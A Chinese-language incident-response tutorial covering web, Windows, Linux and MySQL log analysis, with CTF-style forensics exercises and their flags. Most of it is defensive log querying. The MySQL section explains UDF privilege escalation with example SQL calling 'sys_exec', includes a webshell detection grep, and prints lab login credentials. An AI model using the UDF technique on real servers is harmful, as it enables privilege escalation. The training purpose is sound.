web服务器日志

在很多时候,我们经常需要分析网站的日志,以此来查看网站运行的各种情况。比如说如果网站被攻击,我们可以通过查看日志来溯源攻击者。
Apache
日志目录:/Apache/logs/

logs目录下有两个文件,一个是 access.log ,就是用户的访问日志。还有一个是 error.log,这个是apache运行时的错误日志。

Nginx
日志目录:/Nginx/logs/

logs目录下有两个文件,一个是 access.log ,就是用户的访问日志。还有一个是 error.log,这个是apache运行时的错误日志。

Tomcat
日志目录:/Tomcat/logs/

logs目录下有五类文件:
- catalina.日期.log:这个主要是记录tomcat启动时候的信息,类似于我们在eclipse中启动服务的时候在控制台看到的信息
- host-manager.日期.log:这个是放tomcat的自带的manager项目的日志信息的,也没有看到有什么重要的日志信息
- localhost.日期.log:这个类似于catalina日志,可是信息没有第一种全
- localhost_access_log.日期.txt:这个是存放访问tomcat的请求的所有地址以及请求的路径、时间,请求协议以及返回码等信息(重要)
- manager.日志.log:这个估计是manager项目专有的日志文件

Web日志的分析
如下,我们分析日志中第8条的更个部分的含义
- 访问者ip:127.0.0.1
- 访问日期:07/Nov/2019:18:11:54 +0800
- 请求方式:GET
- 请求链接:/dvwa/phpinfo.php
- 请求参数:PHPE9568F34-D428-11d2-A769-00AA001ACF42
- HTTP协议:HTTP/1.1
- 返回转态码:200
- 返回包的长度:2536
- 请求包的Referer:http://127.0.0.1/dvwa/phpinfo.php
- 访问者的浏览器信息:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Window日志分析
01 事件日志简介
Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
Windows主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。
系统日志
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。
默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx
应用程序日志
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。
默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx
安全日志
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。
默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx
系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。 安全日志记录着事件审计信息,包括用户验证(登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。
查看系统日志方法:
-
在**"开始"** 菜单上,依次指向**"所有程序"** 、"管理工具" ,然后单击**"事件查看器"**
-
按 "Window+R ",输入 "eventvwr.msc " 也可以直接进入"事件查看器"

02 事件日志分析
对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:
事件ID | 说明 |
---|---|
4624 | 登录成功 |
4625 | 登录失败 |
4634 | 注销成功 |
4647 | 用户启动的注销 |
4672 | 使用超级用户(如管理员)进行登录 |
4720 | 创建用户 |
每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:
登录类型 | 描述 | 说明 |
---|---|---|
2 | 交互式登录(Interactive) | 用户在本地进行登录。 |
3 | 网络(Network) | 最常见的情况就是连接到共享文件夹或共享打印机时。 |
4 | 批处理(Batch) | 通常表明某计划任务启动。 |
5 | 服务(Service) | 每种服务都被配置在某个特定的用户账号下运行。 |
7 | 解锁(Unlock) | 屏保解锁。 |
8 | 网络明文(NetworkCleartext) | 登录的密码在网络上是通过明文传输的,如FTP。 |
9 | 新凭证(NewCredentials) | 使用带/Netonly参数的RUNAS命令运行一个程序。 |
10 | 远程交互,(RemoteInteractive) | 通过终端服务、远程桌面或远程协助访问计算机。 |
11 | 缓存交互(CachedInteractive) | 以一个域用户登录而又没有域控制器可用 |
关于更多EVENT ID,详见微软官方网站上找到了"Windows Vista 和 Windows Server 2008 中的安全事件的说明"。
案例1:可以利用eventlog事件来查看系统账号登录情况:
-
在**"开始"** 菜单上,依次指向**"所有程序"** 、"管理工具" ,然后单击**"事件查看器"**;
-
在事件查看器中,单击**"安全"**,查看安全日志;
-
在安全日志右侧操作中,点击**"筛选当前日志"**,输入事件ID进行筛选。
4624 --登录成功
4625 --登录失败
4634 -- 注销成功 4647 -- 用户启动的注销
4672 -- 使用超级用户(如管理员)进行登录
我们输入事件ID:4625进行日志筛选,发现事件ID:4625,事件数175904,即用户登录失败了175904次,那么这台服务器管理员账号可能遭遇了暴力猜解。

04 日志分析工具
Log Parser
Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。
Log Parser 2.2下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659
Log Parser 使用示例:https://mlichtenberg.wordpress.com/2011/02/03/log-parser-rocks-more-than-50-examples/

基本查询结构
Logparser.exe --i:EVT --o:DATAGRID "SELECT * FROM c:\xx.evtx"
使用Log Parser分析日志
1、查询登录成功的事件
登录成功的所有事件
LogParser.exe -i:EVT --o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624"
指定登录时间范围的事件:
LogParser.exe -i:EVT --o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624"
提取登录成功的用户名和IP:
LogParser.exe -i:EVT --o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624"
2、查询登录失败的事件
登录失败的所有事件:
LogParser.exe -i:EVT --o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4625"
提取登录失败用户名进行聚合统计:
LogParser.exe -i:EVT "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,EXTRACT_TOKEN(Message,19,' ') as user,count(EXTRACT_TOKEN(Message,19,' ')) as Times,EXTRACT_TOKEN(Message,39,' ') as Loginip FROM c:\Security.evtx where EventID=4625 GROUP BY Message"
3、系统历史开关机记录:
LogParser.exe -i:EVT --o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006"
LogParser Lizard
对于GUI环境的Log Parser Lizard,其特点是比较易于使用,甚至不需要记忆繁琐的命令,只需要做好设置,写好基本的SQL语句,就可以直观的得到结果。
下载地址:http://www.lizard-labs.com/log_parser_lizard.aspx
依赖包:Microsoft .NET Framework 4 .5,下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=42642
查询最近用户登录情况:

Event Log Explorer
Event Log Explorer是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系统,应用程序和其他微软Windows 的记录被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。
下载地址:https://event-log-explorer.en.softonic.com/

03 Web日志分析
01 Web日志
Web访问日志记录了Web服务器接收处理请求及运行时错误等各种原始信息。通过对WEB日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。
我们来看一条Apache的访问日志:
127.0.0.1 - - [11/Jun/2018:12:47:22 +0800] "GET /login.html HTTP/1.1" 200 786 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
通过这条Web访问日志,我们可以清楚的得知用户在什么IP、什么时间、用什么操作系统、什么浏览器的情况下访问了你网站的哪个页面,是否访问成功。
02 日志分析技巧
在对WEB日志进行安全分析时,一般可以按照两种思路展开,逐步深入,还原整个攻击过程。
第一种:确定入侵的时间范围,以此为线索,查找这个时间范围内可疑的日志,进一步排查,最终确定攻击者,还原攻击过程。
第二种:攻击者在入侵网站后,通常会留下后门维持权限,以方便再次访问,我们可以找到该文件,并以此为线索来展开分析。
常用分析工具:
Window下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。
Linux下,使用Shell命令组合查询分析。
Shell+Linux命令实现日志分析,一般结合grep、awk等命令等实现了几个常用的日志分析统计技巧。
Apache日志分析技巧:
1、列出当天访问次数最多的IP命令:
cut -d- -f 1 log_file|uniq -c | sort -rn | head -20
2、查看当天有多少个IP访问:
awk '{print $1}' log_file|sort|uniq|wc -l
3、查看某一个页面被访问的次数:
grep "/index.php" log_file | wc -l
4、查看每一个IP访问了多少个页面:
awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file
5、将每个IP访问的页面数进行从小到大排序:
awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n
6、查看某一个IP访问了哪些页面:
grep ^111.111.111.111 log_file| awk '{print $1,$7}'
7、去掉搜索引擎统计当天的页面:
awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l
8、查看2018年6月21日14时这一个小时内有多少IP访问:
awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
04 日志统计分析技巧
统计爬虫:
javascript
grep -E 'Googlebot|Baiduspider' /www/logs/access.2019-02-23.log | awk '{ print $1 }' | sort | uniq
统计浏览器:
javascript
cat /www/logs/access.2019-02-23.log | grep -v -E 'MSIE|Firefox|Chrome|Opera|Safari|Gecko|Maxthon' | sort | uniq -c | sort -r -n | head -n 100
IP 统计:
javascript
grep '23/May/2019' /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3"."$4}' | sort | uniq -c | sort -r -n | head -n 10
2206 219.136.134.13
1497 182.34.15.248
1431 211.140.143.100
1431 119.145.149.106
1427 61.183.15.179
1427 218.6.8.189
1422 124.232.150.171
1421 106.187.47.224
1420 61.160.220.252
1418 114.80.201.18
统计网段:
javascript
cat /www/logs/access.2019-02-23.log | awk '{print $1}' | awk -F'.' '{print $1"."$2"."$3".0"}' | sort | uniq -c | sort -r -n | head -n 200
统计域名:
javascript
cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more
HTTP Status:
javascript
cat /www/logs/access.2019-02-23.log |awk '{print $9}'|sort|uniq -c|sort -rn|more
5056585 304
1125579 200
7602 400
5 301
URL 统计:
javascript
cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more
文件流量统计:
javascript
cat /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more
grep ' 200 ' /www/logs/access.2019-02-23.log |awk '{sum[$7]+=$10}END{for(i in sum){print sum[i],i}}'|sort -rn|more
URL访问量统计:
javascript
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more
脚本运行速度:
查出运行速度最慢的脚本
javascript
grep -v 0$ /www/logs/access.2019-02-23.log | awk -F '\" ' '{print $4" " $1}' web.log | awk '{print $1" "$8}' | sort -n -k 1 -r | uniq > /tmp/slow_url.txt
IP, URL 抽取:
javascript
# tail -f /www/logs/access.2019-02-23.log | grep '/test.html' | awk '{print $1" "$7}'
Linux日志分析
什么是Linux日志分析?
Linux日志分析是指对Linux系统中生成的日志文件进行检查、监控和分析的过程。在Linux系统中,各种服务和应用程序会产生日志文件,记录系统运行状态、用户操作、系统错误、安全事件等信息。分析这些日志可以帮助系统管理员理解系统的运行状况,诊断问题,并确保系统的安全和稳定运行。日志分析可以手动进行,也可以使用各种日志分析工具来自动化这一过程。常见的日志文件包括系统日志(/var/log/syslog 或 /var/log/messages)、认证日志(/var/log/auth.log)、应用程序日志等。
常见日志文件
Linux系统中的日志文件通常存储在 /var/log 目录下,常见的日志文件包括:
-
/var/log/syslog:记录系统的各种信息和错误。
-
/var/log/auth.log:记录身份验证相关的信息,如登录和认证失败。
-
/var/log/kern.log:记录内核生成的日志信息。
-
/var/log/dmesg:记录系统启动时内核产生的消息。
-
/var/log/boot.log:记录系统启动过程中的消息。
-
/var/log/messages:记录系统的广泛消息,包括启动和应用程序信息。
-
/var/log/secure:记录安全相关的消息。
-
/var/log/httpd/:记录Apache HTTP服务器的访问和错误日志(若安装了Apache)。
-
/var/log/nginx/:记录Nginx服务器的访问和错误日志(若安装了Nginx)。
常见日志文件位置
1.Apache日志
- 访问日志:默认位置通常是/var/log/apache2/access.log.1(Debian/Ubuntu)或/var/log/httpd/access_log.1(CentOS/RHEL)。
- 错误日志:默认位置通常是/var/log/apache2/error.log.1(Debian/Ubuntu)或/var/log/httpd/error_log.1(CentOS/RHEL)。
2.SSH日志
- 身份验证日志:通常位于/var/log/auth.log(Debian/Ubuntu)或/var/log/secure(CentOS/RHEL)。
3.系统日志
- 系统日志:通常位于/var/log/syslog(Debian/Ubuntu)或/var/log/messages(CentOS/RHEL)。
例题
1.查爆破主机账号ip
遇到这种题
首先肯定是先找到日志的位置,一般来说,SSH登录尝试 会记录在 /var/log/auth.log.1(这是固定的)
SSH登录尝试会记录在 `/var/log/auth.log.1`
**auth.log和auth.log.1有什么区别,为什么查看.1?

接着那既然是爆破,那肯定会有很多失败的次数。
------使用grep筛选出SSH失败的登录尝试
最后
提取IP地址: 从这些日志条目中提取尝试登录的IP地址。
统计各个IP地址的尝试次数: 统计每个IP地址的尝试次数,找出所有尝试暴力破解的IP。
逻辑基本就是上面这样,如果日志少一些那还好,可以一条条进行分析,日志多的话要进行筛选
命令:
cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more


flag{192.168.200.2,192.168.200.31,192.168.200.32}
2.找成功登陆的ip
得到上述3个ip,最多的次数是四次,直接提交尝试
3.爆破用户名字典

那首先我们得了解什么是爆破用户名字典?
简单来说指黑客在进行暴力破解攻击时使用的一系列用户名列表。黑客通过自动化工具逐个尝试这些用户名,结合常见或默认密码,试图找到有效的登录凭据。这个过程被称为"字典攻击"或"暴力破解攻击"。
具体操作步骤:
- 识别关键日志条目:
确定日志中包含攻击相关信息的条目。例如,SSH 失败登录尝试通常包含"Failed password"关键字,成功登录则包含"Accepted"。
- 提取有用信息:
使用文本处理工具如 grep、awk、perl 或 sed 提取出关键数据。例如,可以从日志中提取出失败尝试的用户名、IP地址、时间戳等。
- 统计分析:
对提取出的信息进行统计分析,以确定被尝试最多的用户名和来源IP等。例如,使用 uniq 和 sort 对数据进行去重和排序。
解题
分析:
auth.log.1
文件,提取出所有包含"Failed password"字符串的行,这通常表明有失败的登录尝试。
然后用命令
使用Perl脚本提取出失败尝试的用户名和来源IP地址,统计每个用户名的失败尝试次数,并按照次数降序排列显示结果。
cat auth.log.1 | grep -a "Failed password" |perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
分析命令:
总结:
4.成功登录 root 用户的 ip爆破次数
cat auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more

flag{4}
5.新建后门用户

新的知识点:问我们黑客登陆主机后新建了一个后门用户,用户名是多少?
那这种我们怎么操作呢?(其实基本也就是这五个步骤)
步骤1:确定日志文件
通常与用户登录和用户管理活动相关的日志文件是 /var/log/auth.log 或其备份文件如 /var/log/auth.log.1。
步骤2:搜索创建用户的关键字
使用 grep 命令搜索与创建用户相关的关键字,如 new user。这样可以找到所有新建用户的日志条目。
cat /var/log/auth.log.1 | grep -a "new user"
此命令会列出所有包含 new user 的日志行,这些行通常记录了用户创建的详细信息。
步骤3:提取新用户信息
从日志中提取新用户的详细信息,包括用户名、创建时间等。
例如,假设你得到了如下输出:
Jan 12 10:32:15 server useradd[1234]: new user: name=testuser, UID=1001, GID=1001, home=/home/testuser, shell=/bin/bash
这条日志显示了创建的新用户 testuser。
步骤4:分析执行上下文
确认新用户的创建是否由合法用户执行,或是否有可疑的远程登录记录。
可以使用以下命令查找所有用户登录的情况,以确定是否有可疑的登录行为:
grep "Accepted" /var/log/auth.log.1
步骤5:进一步确认
结合其他日志文件,如 /var/log/syslog,查看是否有异常的命令执行或系统变更。
总结
确定相关日志文件。
搜索特定关键字,找到新用户创建的记录。
提取并分析详细信息,确认新用户的合法性 。
结合其他日志文件,确认是否有异常活动。
那这里我们肯定就是找新建用户,因为题目也已经说明了.黑客登陆主机后新建了一个后门用户;
cat auth.log.1 |grep -a "new user"
这里的《-a》是什么意思呢?
简单来说就是在 grep 命令中,-a 选项的作用是将文件视为文本文件处理,即使文件可能包含一些二进制数据。通常,grep 会将二进制文件视为二进制数据而不是文本数据,并可能不会显示预期的结果。使用 -a 选项可以确保 grep 按文本模式处理文件中的内容。
flag{test2}
Apache日志分析
什么是apache日志分析?
日志分析是监控和优化网站性能、安全性和用户体验的重要手段。Apache日志分析是其中的一个重要组成部分,因为Apache是目前最流行的Web服务器之一。Apache日志记录了服务器上的各种活动,包括访问请求、错误信息、用户行为等。通过分析这些日志,可以获取有价值的信息,帮助网站管理员做出更好的决策。
Apache日志分析
Apache日志分析是专门针对Apache HTTP服务器生成的日志文件进行分析。Apache服务器主要生成两种类型的日志文件:
- 访问日志(access log):
记录了所有对Web服务器的请求,包括客户端IP地址、请求时间、请求方式、请求资源、响应状态码、数据传输量等。
- 错误日志(error log):
记录了服务器在运行过程中遇到的错误和警告信息,包括启动和停止时的信息。
例题

1.找到访问次数最多的ip

先进入日志所在目录;
cd /var/log/apache2/
粗略查看一下;
cat access.log.1
发现有很多条记录,用命令筛选
cut -d- -f 1 access.log.1|uniq -c | sort -rn | head -20

flag{192.168.200.2}
2.使用的浏览器指纹是什么
先知道浏览器指纹是什么?
通俗一点的说,就是浏览器 在网站上打开进行的所有操作都会留下痕迹,关闭以后仍然存在


题目

命令
cat access.log.1 |grep 192.168.200.2 |more

大致就看哪个出现的最多,,实在不行都尝试一下
浏览器指纹部分
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
3.查看index.php页面被访问的次数
如果你回看的话,先问你一个问题!!!
次数的命令用什么:: wc -l
(统计行数)

)命令:
cat access.log.1 | grep "/index.php" | wc -l

两个命令都可以
4.查看黑客IP访问了多少次

已经有经验了
访问次数------access.log
查看黑客ip------grep "ip"
次数 wc -l
命令1
cat access.log.1 | grep "192.168.200.2 - -" | wc -l
那这里有人就要问了,ip后面- -是什么意思?
总结:固定格式
在 Apache 访问日志中,格式通常是标准的组合日志格式(Combined Log Format),包含了客户端 IP 地址、客户端身份验证信息、用户 ID、请求时间、请求行、状态码、响应大小、引用来源和用户代理等信息。以下是一个典型的日志条目:
例如;
192.168.200.2 - - [03/Aug/2023:08:00:00 +0000] "GET /index.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
在这个日志条目中,192.168.200.2
是客户端 IP 地址,- -
是占位符,表示客户端身份验证信息(客户端身份验证信息为空时用 -
表示)。
命令2
cat access.log.1 | grep "192.168.200.2" | cut -d' ' -f1 | sort | uniq -c

命令3
grep "192.168.200.2" access.log.1 | cut -d' ' -f1 | sort | uniq -c


5.查看时间段内有多少IP访问

还是用命令,差不多
首先把日期换成日志里面的格式
eg:2023年8月03日8时------03/Aug/2023:08:
命令1
cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' | sort -nr| uniq -c |wc -l

命令2
cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' | sort -nr| uniq -c

命令3
grep "03/Aug/2023:08:" access.log.1 | awk '{print $1}' | sort -nr | uniq -c | wc -l

flag{5}
Mysql日志分析
mysql应急响应 ssh账号 root 密码 xjmysql
ssh env.xj.edisec.net -p xxxxx
1.黑客第一次写入的shell flag{关键字符串}
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}
芝士店:
mysql提权其实很容易就想到udf提权,所以这里可以提前准备好路径:/usr/lib/mysql/plugin/ ,这个目录下就是一些mysql给用户准备的,放udf文件的目录,将你写好的功能文件进来,就能够像查询语句一样使用你写好的一些功能函数了,这里就是黑客经常用来提权的地方。
注意,Linux下的udf提权文件后缀名一般是.so结尾,而在windows中的话一般是dll结尾文件。
步骤1.黑客第一次写入的shell
flag{关键字符串}
既然hacker要在mysql里写入shell,那么首先他一定是先拿下了网站,并上传了shell,第一次写入的shell,我们可以去web目录下查找
直接用webshell查找命令,来到web目录
find ./ -name "*.php" | xargs grep "@eval("

步骤2.黑客反弹shell的ip
flag{ip}
查看定时任务,发现没有
查看日志文件
cd /var/log
ls
查看mysql文件夹的文件,发现了一个error日志
-
MySQL 错误日志(error.log)可能会记录相关的错误信息,比如加载 UDF 库失败的报错,像 Can't open shared library '/path/to/malicious_udf.so'。
-
若攻击者使用的 SQL 语句(如创建函数、调用函数执行命令)涉及到写操作,会被记录在二进制日志(binary log)中。
-
若查询日志(general log)开启,那么创建 UDF 函数以及调用函数执行命令的 SQL 语句都会被记录下来,能直观看到攻击者的操作步骤。
查看error.log文件
cat error.log
发现了发生在临时文件/tmp的可疑信息,保存了一个文件1.sh

列出/tmp/1.sh文件的内容
则flag为 flag{192.168.100.13},成功
步骤 3
黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
1.分析题目
提权文件,那么了解一般的提权攻击
关于 Mysql 的提权方法有四种:
- UDF 提权
- MOF 提权(Windows 下)
- 启动项提权(Windows 下)
- CVE-2016-6663(MariaDB <= 5.5.51 或 10.0.x <= 10.0.27 或 10.1.x <= 10.1.17)
查看目前靶场MariaDB的版本
mysql -V

排除后三个,剩下的就是UDF提权了
UDF 执行系统命令
MySQL 允许用户通过 CREATE FUNCTION 语句创建自定义函数,这些函数可以调用系统库函数。攻击者上传恶意的 UDF 动态链接库文件到服务器,然后创建对应的自定义函数,通过调用该函数来执行系统命令。比如在 Linux 系统中,攻击者上传恶意的 .so 文件到 MySQL 的插件目录(由 plugin_dir 系统变量指定),并使用 SQL 语句创建函数,如 CREATE FUNCTION sys_exec RETURNS INTEGER SONAME'malicious_udf.so'; ,之后调用 SELECT sys_exec('whoami'); 就可以执行系统命令,若 MySQL 以高权限运行,攻击者就可能利用此方式获取系统的高权限。
UDF 的动态链接库文件放置于 /usr/lib/mysql/plugin/ 或 /usr/lib64/mysql/plugin/
2.解题
方法一:
那就查看UDF的动态链接库
cd /usr/lib/mysql/plugin
ls -al

发现这两个文件是所有用户都拥有读写权限的,有很大风险
<部分文件权限是 rw - rw - rw - (如 mysqludf.so、udf.so ),即所有用户都有读写权限。如果这些是 UDF 相关文件,存在较大风险,因为恶意用户可能篡改其内容,植入恶意代码,利用 UDF 执行系统命令等方式提权。正常情况下,这类文件应严格限制权限,至少让 mysql 用户可读写,其他用户仅能读或无权限。>
查看两个文件的内容
发现这个udf.so的文件与步骤一找到的黑客写入的shell文件的内容近乎一样,而且udf.so 本应是 ELF 二进制文件(动态链接库),但实际内容是 PHP WebShell(),说明文件被恶意篡改或伪装。

通过伪装 UDF 文件植入了 WebShell,攻击者先通过漏洞写入 WebShell(sh.php),再尝试伪装成 UDF 文件(udf.so)绕过防护,意图长期控制服务器。利用 MySQL UDF 提权的名义,实际是混淆视听,本质是 Web 后门渗透。
那么提权文件的完整路径为/usr/lib/mysql/plugin/udf.so
那么在线网站MD5加密得到flag为 flag{B1818BDE4E310F3D23F1005185B973E7}
方法二:检查数据库的信息
首先要找的就是MySQL数据库的账号和密码
一般**/etc/mysql/my.cnf**中会保存着MySQL的登录密码,但是查找发现这里没有。

)
还有一个可找方向就是**/var/www/html目录下的common.php**文件。
Linux 系统的/var/www/html目录下,common.php是一个 PHP 脚本文件 ,通常在 Web 应用中承担着公共功能或配置相关的作用
配置文件
数据库连接配置:用于存储 Web 应用连接数据库(如 MySQL、PostgreSQL 等)的相关信息,包括数据库主机地址、用户名、密码、数据库名
查看/var/www/html/common.php文件,发现了数据库的账户和密码

登录数据库
mysql -uroot -p334cc35b3c704593
为了了解 MySQL 在文件操作安全、身份验证安全、时间戳安全等方面的配置情况,输入一下命令进行查询
show global variables like '%secure%';
secure_auth=OFF:
允许低版本客户端用弱加密密码连接,若数据库用户密码简单,易被中间人攻击破解。
secure_file_priv 为空:
是 MySQL 提权的典型高危配置!攻击者可利用 SELECT ... INTO OUTFILE 写入恶意文件(如 WebShell),或通过 LOAD_FILE() 读取系统敏感数据。
那么这里就能明确的确定是UDF提权了
show variables like '%plugin%';
查询与插件相关的配置变量,帮助你了解当前数据库支持哪些插件、插件目录位置以及插件加载状态。
plugin_dir
若该目录对普通用户或 Web 进程可写,攻击者可上传恶意 UDF 插件,通过 CREATE FUNCTION 加载后执行系统命令提权。确认是否存在未知 .so 文件
发现了过大权限的mysqludf.so和udf.so文件
查看文件内容发现udf.so文件的内容与步骤提黑客写入的shell文件内容一样,那么提权文件完整路径为/usr/lib/mysql/plugin/udf.so
步骤 4
黑客获取的权限 flag{whoami后的值}
1、分析题目
首先whoami命令是目前正在登录的用户
2、解题
查看进程(进程中可以显示出用户名以及查看启动进程所使用的命令和参数)
ps -aux

那么用户名就是mysql ,即flag为 flag{mysql}
若需要进一步确定,那就查看数据库
提权的典型痕迹
.so 文件:
MySQL 日志
MySQL 函数表:mysql.func 表中是否有异常的 UDF 函数。
SELECT * FROM mysql.func;

再查询,得到mysql
select sys_eval('whoami');

Windows 日志分析
通过查看 Windows 事件日志来了解系统运行状态、故障原因、攻击迹象等。Windows 事件日志存储了操作系统和应用程序的重要活动信息,分为应用程序日志、安全日志、系统日志等多种类型。通过分析这些日志,我们可以发现潜在的安全威胁、排查系统故障、或调查攻击行为。
这里也简单总结了下常见的 Windows 事件 ID 及其含义
安全日志相关事件 ID:
- 4624 - 成功的账户登录事件。
- 登录的账号、时间、来源 IP 等信息可帮助识别是否有非法登录。
- 4625 - 账户登录失败事件。
- 记录未能登录的尝试,帮助检测密码爆破或非法访问。
- 4634 - 用户注销事件。
- 记录用户主动注销,或超时后系统自动注销。
- 4672 - 特权账户登录事件。
- 当管理员或特权账号登录时,记录该事件,检测高权限用户的使用情况。
- 4688 - 新进程创建事件。
- 记录进程的创建信息,能帮助检测恶意软件的执行情况。
- 4697 - 系统上安装服务的事件。
- 记录系统中安装的服务,可以检测未经授权的服务安装。
- 4768 - Kerberos 认证票据授予(TGT)事件。
- 与域控制器的身份验证有关,可以帮助分析域账号是否被滥用。
- 4776 - NTLM 认证失败事件。
- 在 NTLM 认证失败时记录,可以帮助检测异常的身份验证行为。
- 4719 - 审计策略更改事件。
- 系统审计策略的更改,能帮助判断是否有恶意用户试图掩盖痕迹。
系统日志相关事件 ID
- 6005- 事件日志服务启动
- 系统启动事件日志服务,用于分析系统启动流程。
- 6006-事件日志服务停止
- 系统即将关机时触发,辅助判断是否异常关机。
- 6008-非正常关机事件
- 记录系统意外关闭(如崩溃、强制关机),用于故障排查。
- 7045-服务安装事件
- 记录新服务安装,可检测恶意服务植入。
应用程序日志相关事件 ID
- 1000-应用程序崩溃事件
- 记录应用崩溃细节(错误代码、故障模块),用于定位崩溃原因。
- 4621- 应用程序挂起事件
- 分析应用无响应、卡死问题,辅助排查性能故障。

1
审计桌面的logs日志,定位所有扫描IP,并提交扫描次数
2
审计相关日志,提交rdp被爆破失败次数
3
审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交
4
提交黑客创建的隐藏账号
5
提交黑客创建的影子账号
6
提交远程shell程序的连接IP+端口,以IP:port方式提交
7
黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字
8
黑客使用了计划任务来定时执行某shell程序,提交此程序名字
例题1
1.审计桌面的logs日志,定位所有扫描IP,并提交扫描次数
思路
"扫描ip"指的是恶意ip
打开桌面上的logs日志,挪到kali中用命令
awk '{print $1}' access.log | sort | uniq -c | sort -nr

排查
发现127.0.0.1------本地环回地址
192.168.150.1------不是恶意ip
恶意ip------
6331 192.168.150.67
54 192.168.150.33



flag{6385}
2.审计相关日志,提交rdp被爆破失败次数
思路
被爆破失败次数------登陆失败事件ID------4625
eventvwr.msc打开事件查看器
搜索4625即登陆失败的次数

flag{2594}
3、审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交
登陆成功事件id4624,打开一个个查看



也可以用4648加快筛选速度
事件 ID 4648 在 Windows 事件日志中代表 "使用显式凭据登录",这意味着用户在登录时手动输入了用户名和密码,而不是通过自动登录或凭据缓存来进行身份验证。筛选 4648 事件通常是为了获取有关使用特定账户显式登录的信息,尤其是远程桌面协议 (RDP) 场景下。
flag{192.168.150.1&192.168.150.128&192.168.150.178}
4、提交黑客创建的隐藏账号
5、提交黑客创建的影子账号
直接用命令
wmic useraccount get Name

-
wmic
:Windows 管理工具的命令行接口,允许用户从命令行查询系统信息。 -
useraccount
:指定查询的对象为用户账户。 -
get Name
:获取用户账户的名称。
注册表SAM
日志分析------用4720
上述三种方法都可以找出全部用户
事件 ID 4720是专门用于记录用户账户创建 的事件。当一个新用户账户被创建时,Windows 会自动生成一个带有这个 ID 的日志条目,详细记录该账户的相关信息。
